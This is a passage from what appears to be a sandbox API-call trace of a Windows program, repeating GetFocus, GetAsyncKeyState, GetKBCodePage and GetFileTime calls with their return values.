dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.610] GetKBCodePage () returned 0x1b5 [0034.610] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.610] GetFocus () returned 0x0 [0034.610] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.611] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.611] GetFocus () returned 0x0 [0034.611] GetAsyncKeyState (vKey=58) returned 0 [0034.611] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.612] GetFocus () returned 0x0 [0034.612] GetAsyncKeyState (vKey=58) returned 0 [0034.612] GetKBCodePage () returned 0x1b5 [0034.612] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.613] GetAsyncKeyState (vKey=58) returned 0 [0034.613] GetKBCodePage () returned 0x1b5 [0034.613] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.613] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.614] GetFocus () returned 0x0 [0034.614] GetAsyncKeyState (vKey=58) returned 0 [0034.614] GetKBCodePage () returned 0x1b5 [0034.614] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.615] GetFocus () returned 0x0 [0034.615] GetAsyncKeyState (vKey=58) returned 0 [0034.615] GetKBCodePage () returned 0x1b5 [0034.615] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.616] GetFocus () returned 0x0 [0034.616] GetAsyncKeyState (vKey=58) returned 0 [0034.616] GetKBCodePage () returned 0x1b5 [0034.616] GetFileTime (in: hFile=0x60cf7a, 